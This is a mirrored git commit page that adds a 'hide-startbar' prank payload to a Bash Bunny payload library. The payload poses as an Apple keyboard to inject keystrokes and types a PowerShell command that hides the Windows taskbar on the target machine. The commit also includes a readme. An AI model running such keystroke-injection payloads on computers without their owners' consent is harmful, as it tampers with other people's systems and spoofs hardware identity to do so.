hak5/bashbunny-payloads
1
0
Fork 0
mirror of https://github.com/hak5/bashbunny-payloads.git synced 2025-10-29 16:58:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Add hide-startbar payload (#418)

Browse Source 
* Add files via upload

* Update readme.md

* Update payload.txt

* Update readme.md

* Update readme.md

* Update readme.md

* Update readme.md

* Update readme.md
This commit is contained in:
cribb-it 2020-06-29 17:53:18 +01:00 committed by GitHub
parent 3e3979221f
commit 5548c0b1cd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 58 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

30
payloads/library/prank/hide-startbar/payload.txt Normal file
View File

@ -0,0 +1,30 @@
# Title: Hide-StartBar
# Description: Hides the Windows startbar
# Author: Cribbit
# Version: 1.0
# Category: pranks
# Target: Windows 7+ (Powershell)
# Attackmodes: HID
# Extensions: Run
# Notes: 0x0080 = SWP_HIDEWINDOW, 0x0040 = SWP_SHOWWINDOW
LED SETUP
ATTACKMODE HID VID_0X05AC PID_0X021E
LED ATTACK
Q DELAY 200
RUN WIN "cmd"
Q DELAY 100
Q STRING "mode con:cols=18 lines=1"
Q ENTER
Q STRING "color FE"
Q ENTER
Q STRING "powershell \"\$w=Add-Type -Namespace Win32 -Name Funcs -PassThru -MemberDefinition '[DllImport(\\\"user32.dll\\\")] public static extern IntPtr FindWindow(String C, String A); [DllImport(\\\"user32.dll\\\")] public static extern bool SetWindowPos(IntPtr H,IntPtr A,int X,int Y,int C,int D,uint F);';\$w::SetWindowPos(\$w::FindWindow('Shell_traywnd',''),0,0,0,0,0,0x0080);\""
Q DELAY 100
Q ENTER
Q STRING exit
Q ENTER
LED FINISH

28
payloads/library/prank/hide-startbar/readme.md Normal file
View File

@ -0,0 +1,28 @@
# Hide Startbar
* Author: Cribbit
* Version: 1.0
* Target: Windows 7+ (Powershell)
* Category: pranks
* Attackmode: HID
* Extensions used: Run
## Change Log
| Version | Changes |
| ------- | ------------------------------|
| 1.0 | Initial release |
## Description
Hides the Window Start bar
## Configuration
Change hex to hide or show the startbar
```
0x0080 = SWP_HIDEWINDOW, 0x0040 = SWP_SHOWWINDOW
```
## Colors
| Status | Color | Description |
| --------- | ------------------------------| ------------------------------------------------ |
| SETUP | Magenta solid | Setting attack mode, getting the switch position |
| ATTACK | Yellow single blink | Injecting Powershell script |
| FINISH | Green blink followed by SOLID | Script is finished |